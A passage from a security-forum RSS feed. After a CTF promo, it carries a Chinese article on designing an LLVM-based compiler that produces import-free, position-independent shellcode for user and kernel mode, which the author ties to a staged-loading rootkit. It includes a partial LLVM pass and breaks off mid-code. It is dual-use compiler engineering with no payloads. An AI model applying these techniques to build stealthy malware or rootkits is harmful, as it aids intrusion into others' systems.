63);">看雪CTF（简称KCTF）是圈内知名度最高的技术竞技之一，从原CrackMe攻防大赛中发展而来，采取线上PK的方式，规则设置严格周全，题目涵盖Windows、Android、iOS、Pwn、智能设备、Web等众多领域。</span></span></p><p style="text-align: justify;margin-left: 0px;margin-right: 0px;"><span leaf="" mpa-font-style="mp270b5523j8" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">KCTF采取动态积分模式，使每道题的分数随着赛事的发展而变化，比赛结束的分数才能决定最终比赛结果。</span></span></p><p style="text-align: justify;margin-left: 0px;margin-right: 0px;"><span leaf="" mpa-font-style="mp270b551j9y" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">看雪CTF比赛分为两个阶段：</span></span><span leaf="" mpa-font-style="mp270b551yum" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">第一阶段是防守篇，防守方根据比赛要求制作题目，根据题目在比赛中的得分评选优胜者。</span></span><span leaf="" mpa-font-style="mp270b553j2" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">第二阶段为攻击篇，攻击第一阶段的题目，攻击成功题目后获得相应的攻击得分。累计攻击方在每道题上的攻击得分以获得攻击方总得分，并评选优胜者。</span></span></p><p style="text-align: justify;margin-left: 0px;margin-right: 0px;"><span leaf="" mpa-font-style="mp270b55u2j" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">既给了防守方足够的施展空间，也避免过度浪费攻击方的时间。从攻防两个角度看，都是个难得的竞技和学习机会。</span></span></p><p style="text-align: justify;margin-left: 0px;margin-right: 0px;"><span leaf="" mpa-font-style="mp270b551smo" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">KCTF比赛历史悠久、影响广泛。自2007年以来，看雪已经举办十多个比赛，与包括金山、腾讯安全、腾讯TSRC、360、阿里、京东、WiFi万能钥匙、安恒、深信服、众安科技等在内的各大公司共同合作举办赛事。比赛吸引了国内一大批安全人士的广泛关注，历年来CTF中人才辈出，汇聚了来自国内众多安全人才，高手对决，精彩异常，成为安全圈的一次比赛盛宴，突出了看雪论坛复合型人才多的优势，成为企业挑选人才的重要途径，在社会安全事业发展中产生了巨大的影响力。</span></span></p></div></div></div></div></div></div></div></div><p style="text-align: center;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp2f4rb5fte" style="font-size: 15px;" data-mpa-action-id="mp2f4rbm23z7" data-pm-slice="0 0 []"><span textstyle="" style="color: rgb(0, 82, 255);font-weight: bold;">快来参与抽奖赢SDC门票！</span></span></p><p nodeleaf=""><mp-common-miniprogram class="js_uneditable custom_select_card mp_miniprogram_iframe" data-pluginname="insertminiprogram" data-miniprogram-path="pages/lucky/lottery/detail?id=8T4o7iMqyq2" data-miniprogram-nickname="抽奖助手" data-miniprogram-avatar="http://mmbiz.qpic.cn/mmbiz_png/Vdys2e8jP1l1clbflznHYO7IRflCZWjPfD4NMn1Xqgr5gZbBy1qVc12cGVG1whLTXiafBT7kiaWRl38HCbqLnRzw/640?wx_fmt=png&amp;wxfrom=200" data-miniprogram-title="SDC2026门票" data-miniprogram-imageurl="http://mmbiz.qpic.cn/sz_mmbiz_jpg/Cpo2XCpI7K1ibibH7Hicfet6BZVwiaRFbGZxDSe83vQxdichTWicFApfgAkiadFmlmOS48sTEMWSQO6cSj4T0dKXELKZveibQ8umNzZZqD8aIOt8aQM/0?wx_fmt=jpeg" data-miniprogram-type="card" data-miniprogram-servicetype="0" data-miniprogram-appid="wx01bb1ef166cd3f4e" data-miniprogram-imageurlback="http%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FCpo2XCpI7K0ZI7dc2oOcyN5QI69fgroFojqmIgqJknicicMlSSYJjJY7iaODHXJvDECFsZHXk9CnCn2hII7E4MXDGibsIpFjJ0DYeG1ibJlicgjQ0%2F0%3Fwx_fmt%3Djpeg" data-miniprogram-cropperinfo="%7B%22c%22%3A%7B%22x%22%3A0%2C%22y%22%3A42%2C%22x2%22%3A245%2C%22y2%22%3A238%2C%22w%22%3A245%2C%22h%22%3A196%7D%7D"></mp-common-miniprogram></p><p data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="margin-bottom: 0px;-webkit-tap-highlight-color: transparent;outline: 0px;letter-spacing: 0.544px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);text-align: center;" nodeleaf=""><img data-aistatus="1" alt="图片" class="rich_pages wxw-img" data-ratio="0.46875" data-s="300,640" data-type="jpeg" data-w="640" style="-webkit-tap-highlight-color: transparent;outline: 0px;border-style: none;color: rgb(102, 102, 102);font-family: 微软雅黑;font-size: 15px;letter-spacing: 0.544px;widows: 1;display: inline;width: 661px !important;visibility: visible !important;" width="661px" data-backw="562" data-backh="263" data-copyright="0" data-fileid="100035996" data-imgfileid="311109982" src="https://wechat2rss.xlab.app/img-proxy/?k=e6b64b01&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FUia4617poZXP96fGaMPXib13V1bJ52yHq9ycD9Zv3WhiaRb2rKV6wghrNa4VyFR2wibBVNfZt3M5IuUiauQGHvxhQrA%2F640%3Fwx_fmt%3Dother%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1%26tp%3Dwebp"/></p><div style="box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;font-size: 16px;color: rgb(62, 62, 62);" data-pm-slice="0 0 []"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;vertical-align: top;width: 20%;align-self: flex-start;flex: 0 0 auto;box-sizing: border-box;"><div style="text-align: center;margin: 0px 0%;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 40%;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8808777" data-s="300,640" data-type="gif" data-w="638" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311111351" src="https://wechat2rss.xlab.app/img-proxy/?k=cd885a91&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2F1UG7KPNHN8Hice1nuesdoDZjYQzRMv9tpvJW9icibkZBj9PNBzyQ4d4JFoAKxdnPqHWpMPQfNysVmcL1dtRqU7VyQ%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div><div style="font-size: 13px;text-align: justify;box-sizing: border-box;"><p style="text-align: center;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">球分享</span></strong></p></div></div><div style="display: inline-block;vertical-align: top;width: 80%;align-self: flex-start;flex: 0 0 auto;box-sizing: border-box;"><div style="text-align: right;justify-content: flex-end;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;vertical-align: top;width: 23%;flex: 0 0 auto;height: auto;align-self: flex-start;box-sizing: border-box;"><div style="text-align: center;margin: 0px 0%;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 40%;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8808777" data-s="300,640" data-type="gif" data-w="638" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311111352" src="https://wechat2rss.xlab.app/img-proxy/?k=cd885a91&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2F1UG7KPNHN8Hice1nuesdoDZjYQzRMv9tpvJW9icibkZBj9PNBzyQ4d4JFoAKxdnPqHWpMPQfNysVmcL1dtRqU7VyQ%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div><div style="margin: 3px 0% 0px;box-sizing: border-box;"><div style="font-size: 13px;color: rgb(62, 62, 62);text-align: center;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">球点赞</span></strong></p></div></div></div><div style="display: inline-block;vertical-align: top;width: 23%;flex: 0 0 auto;height: auto;align-self: flex-start;box-sizing: border-box;"><div style="text-align: center;margin: 0px 0%;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 40%;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8808777" data-s="300,640" data-type="gif" data-w="638" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311111353" src="https://wechat2rss.xlab.app/img-proxy/?k=cd885a91&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2F1UG7KPNHN8Hice1nuesdoDZjYQzRMv9tpvJW9icibkZBj9PNBzyQ4d4JFoAKxdnPqHWpMPQfNysVmcL1dtRqU7VyQ%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div><div style="margin: 3px 0% 0px;box-sizing: border-box;"><div style="font-size: 13px;color: rgb(62, 62, 62);text-align: center;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">球在看</span></strong></p></div></div></div></div></div></div><div style="box-sizing: border-box;"><div style="display: inline-block;vertical-align: top;width: 10%;box-sizing: border-box;"><div style="text-align: center;margin-top: 10px;margin-bottom: 10px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 100%;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.696" data-s="300,640" data-type="gif" data-w="500" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311111354" src="https://wechat2rss.xlab.app/img-proxy/?k=6ec9988e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2F1UG7KPNHN8Hice1nuesdoDZjYQzRMv9tpUHZDmkBpJ4khdIdVhiaSyOkxtAWuxJuTAs8aXISicVVUbxX09b1IWK0g%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div></div><div style="display: inline-block;vertical-align: top;width: 90%;padding: 0px 0px 0px 10px;box-sizing: border-box;"><div style="margin: 10px 0% 0px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span style="font-size: 15px;box-sizing: border-box;"><span leaf="">点击阅读原文查看更多</span></span></p></div></div></div></div><p style="display: none;"><mp-style-type data-value="10000"></mp-style-type></p>


<p><a href="https://bbs.kanxue.com/thread-291129.htm">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=1093ebdc&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMjM5NTc2MDYxMw%3D%3D%26mid%3D2458614891%26idx%3D1%26sn%3D6836c87fff9b825a3d068bb98dd2a8fe">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 12 May 2026 17:59:00 +0800</pubDate>
    </item>
    <item>
      <title>基于LLVM的通用自包含化(Shellcode)编译器开发思路</title>
      <link>https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458614891&amp;idx=2&amp;sn=78d6f9684285c9b2f339ab01f3ca37f0</link>
      <description>看雪论坛作者ID：TeddyBe4r</description>
      <content:encoded><![CDATA[<p><span>TeddyBe4r</span> <span>2026-05-12 17:59</span> <span style="display: inline-block;">上海</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=ad1e30c9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FCpo2XCpI7K0s6v5Kg70mqV6x4j7xqPKh3wP49uiaAQHOeHB5D6sDawxNpkZKxndsZ4MNUhLhOhlvp9aZf3RTBbNoic67O1CQicz1fhO5Y8gKXw%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>看雪论坛作者ID：TeddyBe4r</p>
  <p style="text-align: justify;"><span leaf="" mpa-font-style="mp0nq7td1s59" style="font-size: 15px;">这篇文章旨在帮助想要开发自己shellcode编译器的朋友，为你们提供思路与解决方案。由于文章产物的特殊性本文将不会提供代码，请各位读者在阅读完文章之后自行实现。</span></p><p style="text-align: justify;"><span mpa-font-style="mp0nq7td1tez" style="font-size: 15px;"><span leaf="">在x64系统的时代shellcode的开发变得极富有技巧性，由于x64的调用约定的改变与微软引入的</span><strong><span leaf="">shadow space</span></strong><span leaf="">的技术出现导致masm32汇编在64上部分具有效率的语法糖彻底失效，由于shadow space机制手写x64汇编会变得有些恶心，在去年我开发了一款 分段式加载 的Rootkit,其中很多功能代码都是通过网络传送并且加载到内存运行的，这也让我的RDK开发变得十分繁琐，于是便有了这篇文章的项目。</span></span></p><p style="text-align: justify;"><span mpa-font-style="mp0nq7td1pn5" style="font-size: 15px;"><span leaf="">在现代编译器的环境下我们想要在原生编译器环境下写出shellcode是一个具有技巧的事情，我们要在代码层面抗优化，从譬如 全局变量，数组赋值，数组，连续变量定义，连续变量赋值，swich-case，条件转移语句等等的代码结构上下功夫利用编译期不可知写法才能够有效规避一些具有全局特征的代码优化， 在这之后还需要对抗MSVC的链接优化，以及一些安全检查 譬如</span><strong><span leaf="">__chkstk</span></strong><span leaf="">等等。</span></span></p><p style="text-align: justify;"><span mpa-font-style="mp0nq7td1gay" style="font-size: 15px;"><span leaf="">本文基于 LLVM 实现了一套面向 Shellcode 的自包含编译框架，通过</span><span style="padding: 0px;margin: 0px;background-image: none;"><span leaf="">全局变量下沉、上下文透传、调用链重写</span></span><span leaf="">消除全局与外部依赖，并结合</span><span style="padding: 0px;margin: 0px;background-image: none;"><span leaf="">编译期 API 哈希与Runtime动态符号解析</span></span><span leaf="">，实现无导入表、无外部符号的纯位置无关代码生成，</span><strong><span leaf="">并且生成的Shellcode R3 R0都可以用。</span></strong></span></p><div style="font-size: 15px;letter-spacing: 1px;line-height: 1.5;padding: 0px 8px;box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;color: rgb(62, 62, 62);" data-pm-slice="0 0 []"><div style="will-change: transform;box-sizing: border-box;"><div style="margin-top: 10px;margin-bottom: 10px;text-align: left;box-sizing: border-box;"><div style="padding: 3px;display: inline-block;vertical-align: middle;box-sizing: border-box;"><div style="border-radius: 5px;background-color: rgb(71, 193, 168);box-sizing: border-box;"><div style="border-radius: 5px;border-color: rgb(221, 221, 221);padding-left: 8px;padding-right: 8px;border-style: solid;border-width: 1px;display: inline-block;vertical-align: top;margin: 3px -3px -3px 3px;color: rgb(255, 255, 255);box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">整体架构流程</span></strong></p></div></div></div></div></div></div><p style="text-align: justify;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8148148148148148" data-type="webp" data-w="1188" width="788" data-imgfileid="311131175" src="https://wechat2rss.xlab.app/img-proxy/?k=c387062a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FCpo2XCpI7K1982h55obUZOMUenO1RQMobJbATMyle75obSKrxeEiaBA8lUUBaliaan3mZmCFT1zYQhNSRcAicSqnv1ic77B4KBibSAJA2acZLoA8%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg"/></span></p><p style="text-align: justify;"><span leaf=""><img class="rich_pages wxw-img" data-src=""/></span></p><div style="font-size: 15px;letter-spacing: 1px;line-height: 1.5;padding: 0px 8px;box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;color: rgb(62, 62, 62);" data-pm-slice="0 0 []"><div style="will-change: transform;box-sizing: border-box;"><div style="margin-top: 10px;margin-bottom: 10px;text-align: left;box-sizing: border-box;"><div style="padding: 3px;display: inline-block;vertical-align: middle;box-sizing: border-box;"><div style="border-radius: 5px;background-color: rgb(71, 193, 168);box-sizing: border-box;"><div style="border-radius: 5px;border-color: rgb(221, 221, 221);padding-left: 8px;padding-right: 8px;border-style: solid;border-width: 1px;display: inline-block;vertical-align: top;margin: 3px -3px -3px 3px;color: rgb(255, 255, 255);box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">全局变量下沉与透传上下文结构化设计</span></strong></p></div></div></div></div></div></div><p style="text-align: justify;"><span style="font-family: none;font-size: 15px;" mpa-font-style="mp0nq7td1v7b"><span leaf="">在一开始做这个下沉的时候我还踩了一些坑，当时我直接把调用链上每一个函数都下沉了一份到栈上，这其实是错误的因为根据全局变量的语义如果每个函数都持有一份在自己的栈中那么这个变量将会退化为局部变量，</span><strong><span leaf="">在语义上就发生了根本性的变化所以在设计这个结构的时候我们要引入上下文透传机制。</span></strong></span></p><p style="text-align: justify;"><span mpa-font-style="mp0nq7td20mp" style="font-size: 15px;"><span leaf="">在常规 C 语言程序中，全局变量与静态变量由操作系统加载器统一分配虚拟地址，并在进程启动时完成初始化，其访问依赖固定的全局符号地址与可执行文件的数据段布局。但在</span><span style="padding: 0px;margin: 0px;background-image: none;"><span leaf="">纯 Shellcode 执行环境</span></span><span leaf="">下，程序不具备独立的进程地址空间管理能力、无加载器支持、无数据段权限初始化机制，直接保留全局变量会导致以下问题：全局地址硬编码导致无法位置无关执行、多份 Shellcode 实例间数据冲突、全局符号引入外部依赖破坏自包含性。</span></span></p><p style="text-align: justify;"><span mpa-font-style="mp0nq7td20mp" style="font-size: 15px;"><span leaf="">因此，需要通过</span><span style="padding: 0px;margin: 0px;background-image: none;"><span leaf="">全局变量下沉（Global Variable Lowering）</span></span><span leaf="">技术，将分散的全局状态统一收拢为结构化上下文，并在调用链中透明传递。</span><strong><span leaf="">并且由于程序结构的特性只有一个Entry，所以我们在Entry的基础栈帧中插入下沉的GV变成CTX的形式在调用链中传播CTX指针这样就可以做到下沉且保持语义不变。</span></strong></span></p><p style="text-align: justify;"><span leaf="" mpa-font-style="mp0nq7td1skg" style="font-size: 15px;">透我归纳为以下8步：</span></p><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);" class="list-paddingleft-1"><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp0nq7tdik8" style="font-size: 15px;">收集全局变量：遍历 Shellcode 入口函数及其完整调用链，筛选出被引用、非线程局部、非编译器内置、具备初始化器的有效全局变量，排除 LLVM 元数据等无关符号，形成待下沉全局变量列表。</span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp0nq7tde1h" style="font-size: 15px;">构造上下文结构体：基于筛选后的全局变量，自动生成 ShellcodeCtx 结构体，结构体字段类型、顺序与待下沉全局变量严格对应，建立每个全局变量与结构体字段的一一映射关系，记录字段索引。</span></p></li><li><p style="text-align: justify;"><span mpa-font-style="mp0nq7td2211" style="font-size: 15px;"><span leaf="">实例化上下文并初始化：</span><strong><span leaf="">在 Shellcode 入口函数的入口块</span></strong><strong><span leaf="">，插入栈上分配指令创建 ShellcodeCtx 实例；</span></strong><span leaf="">采用递归常量展开与分块内联填充策略，逐字段将原全局变量的初始化值写入栈上结构体，避免依赖外部库函数。</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp0nq7tdqvn" style="font-size: 15px;">重写非入口函数签名：为调用链中所有非入口函数追加 ShellcodeCtx 指针作为最后一个参数，生成新的函数签名及函数实例，保留原函数逻辑，仅新增上下文参数接收逻辑。</span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp0nq7tdepj" style="font-size: 15px;">重写调用链中的调用点：遍历所有函数体内的调用指令，将原函数调用替换为对新函数的调用，在调用参数末尾追加当前函数的上下文指针（入口函数传栈上结构体地址，非入口函数传接收的上下文参数），实现上下文透传。</span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp0nq7tdi3" style="font-size: 15px;">替换全局变量访问指令：遍历所有函数体，将对原全局变量的直接访问、经常量表达式封装的间接访问，全部替换为对 ShellcodeCtx 结构体的 GEP 字段索引访问，确保全局变量语义等价。</span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp0nq7tdowr" style="font-size: 15px;">清理冗余符号：删除调用链中无引用的原函数实例、无引用的待下沉全局变量，避免冗余符号占用空间。</span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp0nq7tdtdq" style="font-size: 15px;">函数属性加固：为调用链中所有函数添加 no-builtins、no-stack-arg-probe 等属性，阻止编译器生成外部依赖代码（如 memset、__chkstk），确保上下文透传过程无额外依赖。</span></p></li></ul><p style="text-align: justify;"><span leaf="" mpa-font-style="mp0nq7tdhc7" style="font-size: 15px;">下图展示了透传前后的对比，以及透传之后的栈帧结构：</span></p><p style="text-align: justify;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.6175710594315246" data-type="webp" data-w="1161" width="788" data-imgfileid="311131171" src="https://wechat2rss.xlab.app/img-proxy/?k=f6582101&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FCpo2XCpI7K1aXQdm0obpaIewZFZntHhF2fosggNETCulNE7H6hLicmCVnsJheJibfiabWSdH5WG6HTFAaiaBDvvV0InurcLhy067zncdkjziaBwU%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg"/><img class="rich_pages wxw-img" data-src=""/></span></p><p style="text-align: justify;"><span leaf="" mpa-font-style="mp0nq7td7wy" style="font-size: 15px;">ShellcodeCtx 是一个由 Pass 自动生成的 packed 结构体，其字段顺序与 收集到的全局变量顺序严格一致。每个字段的类型直接取自对应全局变量的 getValueType()（即去掉指针层的底层类型）。</span></p><p style="text-align: justify;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5877192982456141" data-type="webp" data-w="1026" width="788" data-imgfileid="311131174" src="https://wechat2rss.xlab.app/img-proxy/?k=f516fa9c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FCpo2XCpI7K2QnDqiagKzBGWCf4j0htalI8yUJ87iaLjj8BzCicp0AHkzRnTbSJBYkFEYBVd279bE5oV28qlG9KCweMbuwbVO6UzclpHicG1rlCU%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg"/></span></p><p style="text-align: justify;"><span leaf=""><img class="rich_pages wxw-img" data-src=""/></span></p><div style="font-size: 15px;letter-spacing: 1px;line-height: 1.5;padding: 0px 8px;box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;color: rgb(62, 62, 62);" data-pm-slice="0 0 []"><div style="will-change: transform;box-sizing: border-box;"><div style="margin-top: 10px;margin-bottom: 10px;text-align: left;box-sizing: border-box;"><div style="padding: 3px;display: inline-block;vertical-align: middle;box-sizing: border-box;"><div style="border-radius: 5px;background-color: rgb(71, 193, 168);box-sizing: border-box;"><div style="border-radius: 5px;border-color: rgb(221, 221, 221);padding-left: 8px;padding-right: 8px;border-style: solid;border-width: 1px;display: inline-block;vertical-align: top;margin: 3px -3px -3px 3px;color: rgb(255, 255, 255);box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">函数上下文注入与调用链上下文传播</span></strong></p></div></div></div></div></div></div><p style="text-align: justify;"><span mpa-font-style="mp0nq7tdz6a" style="font-size: 15px;"><span style=""><span leaf="">在完成全局变量收集与 </span></span><span style=""><span leaf="">ShellcodeCtx</span></span><span style=""><span leaf=""> 类型构造之后，Pass 需要对调用链中每一个函数执行两类不同的处理：</span></span><span style=""><span leaf="">Entry 函数</span></span><span style=""><span leaf="">保持原有签名不变（loader 侧仍可通过 </span></span><strong><span style=""><span leaf="">(void*)entry</span></span></strong><span style=""><span leaf=""> 取地址），</span></span><strong><span style=""><span leaf="">在其入口块插入 </span></span><span style=""><span leaf="">alloca</span></span><span style=""><span leaf=""> 实例化 ctx 并完成内联初始化；</span></span><span style=""><span leaf="">非 entry 函数</span></span><span style=""><span leaf="">则需要改写签名，在参数列表末尾追加 </span></span><span style=""><span leaf="">ShellcodeCtx*</span></span><span style=""><span leaf=""> 参数，实现指针向下透传。</span></span></strong></span></p><p style="text-align: justify;"><span mpa-font-style="mp0nq7tdz6a" style="font-size: 15px;"><span leaf="">Entry 函数之所以保持签名不变，是因为 loader 侧通常以 (void*)entry 的形式提取 Shellcode 起始地址或计算代码长度，改变签名会破坏这一用法。<img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.6751740139211136" data-type="webp" data-w="1293" width="788" data-imgfileid="311131172" src="https://wechat2rss.xlab.app/img-proxy/?k=824e296d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FCpo2XCpI7K3icE0RxvGZ3ibAL66vImYGK0CwMXZPJJrtZcbKDOWrict9t7ZUg2nd4jC0mpzn9nvvKwz4dGKAVFcJnYjpZ93FXt2kbegyuHGzNQ%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg"/><img class="rich_pages wxw-img" data-src=""/></span></span></p><p style="text-align: justify;"><span mpa-font-style="mp0nq7td1700" style="font-size: 15px;"><span leaf="">下面给出部分透传代码（</span><strong><span leaf="">addCtxParameter</span></strong><span leaf="">）</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin: 0px;padding: 0px;background: none;text-align: justify;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="mp0nq7td4oo"><span leaf="">    Function* <span class="code-snippet__title">addCtxParameter</span>(Function* F, StructType* ctxTy)</span><span leaf=""><br/></span><span leaf="">    {</span><span leaf=""><br/></span><span leaf="">        FunctionType* oldFT = F</span><span leaf="">-&gt;</span><span leaf=""><span class="code-snippet__title">getFunctionType</span>();</span><span leaf=""><br/></span><span leaf="">        std::vector&lt;Type*&gt; <span class="code-snippet__title">newParams</span>(oldFT</span><span leaf="">-&gt;</span><span leaf=""><span class="code-snippet__title">param_begin</span>(), oldFT</span><span leaf="">-&gt;</span><span leaf=""><span class="code-snippet__title">param_end</span>());</span><span leaf=""><br/></span><span leaf="">        PointerType* ctxPtrTy = PointerType::<span class="code-snippet__title">getUnqual</span>(ctxTy);</span><span leaf=""><br/></span><span leaf="">        newParams.<span class="code-snippet__title">push_back</span>(ctxPtrTy);</span><span leaf=""><br/></span><span leaf="">        FunctionType* newFT = FunctionType::<span class="code-snippet__title">get</span>(</span><span leaf=""><br/></span><span leaf="">            oldFT</span><span leaf="">-&gt;</span><span leaf=""><span class="code-snippet__title">getReturnType</span>(), newParams, oldFT</span><span leaf="">-&gt;</span><span leaf=""><span class="code-snippet__title">isVarArg</span>());</span><span leaf=""><br/></span><span leaf="">        Function* NF = Function::<span class="code-snippet__title">Create</span>(</span><span leaf=""><br/></span><span leaf="">            newFT, F</span><span leaf="">-&gt;</span><span leaf=""><span class="code-snippet__title">getLinkage</span>(), F</span><span leaf="">-&gt;</span><span leaf=""><span class="code-snippet__title">getAddressSpace</span>(),</span><span leaf=""><br/></span><span leaf="">            F</span><span leaf="">-&gt;</span><span leaf=""><span class="code-snippet__title">getName</span>() + <span class="code-snippet__string">&#34;.ctx&#34;</span>, F</span><span leaf="">-&gt;</span><span leaf=""><span class="code-snippet__title">getParent</span>());</span><span leaf=""><br/></span><span leaf="">        NF</span><span leaf="">-&gt;</span><span leaf=""><span class="code-snippet__title">copyAttributesFrom</span>(F);</span><span leaf=""><br/></span><span leaf="">        <span class="code-snippet__comment">// 建立旧参数 -&gt; 新参数映射</span></span><span leaf=""><br/></span><span leaf="">        ValueToValueMapTy VMap;</span><span leaf=""><br/></span><span leaf="">        auto NewArgIt = NF</span><span leaf="">-&gt;</span><span leaf=""><span class="code-snippet__title">arg_begin</span>();</span><span leaf=""><br/></span><span leaf="">        <span class="code-snippet__title">for</span> (auto&amp; OldArg : F</span><span leaf="">-&gt;</span><span leaf=""><span class="code-snippet__title">args</span>())</span><span leaf=""><br/></span><span leaf="">        {</span><span leaf=""><br/></span><span leaf="">            NewArgIt</span><span leaf="">-&gt;</span><span leaf=""><span class="code-snippet__title">setName</span>(OldArg.<span class="code-snippet__title">getName</span>());</span><span leaf=""><br/></span><span leaf="">            VMap[&amp;OldArg] = &amp;*NewArgIt;</span><span leaf=""><br/></span><span leaf="">            ++NewArgIt;</span><span leaf=""><br/></span><span leaf="">        }</span><span leaf=""><br/></span><span leaf="">        <span class="code-snippet__comment">// 最后一个参数命名为 ctx</span></span><span leaf=""><br/></span><span leaf="">        NewArgIt</span><span leaf="">-&gt;</span><span leaf=""><span class="code-snippet__title">setName</span>(<span class="code-snippet__string">&#34;ctx&#34;</span>);</span><span leaf=""><br/></span><span leaf="">        <span class="code-snippet__comment">// 克隆函数体</span></span><span leaf=""><br/></span><span leaf="">        SmallVector&lt;ReturnInst*, <span class="code-snippet__number">8</span>&gt; Returns;</span><span leaf=""><br/></span><span leaf="">        <span class="code-snippet__title">CloneFunctionInto</span>(NF, F, VMap,</span><span leaf=""><br/></span><span leaf="">            <span class="code-snippet__comment">/*ModuleLevelChanges=*/</span><span class="code-snippet__literal">false</span>, Returns);</span><span leaf=""><br/></span><span leaf="">        <span class="code-snippet__title">errs</span>() &lt;&lt; <span class="code-snippet__string">&#34;[AddCtxParam] 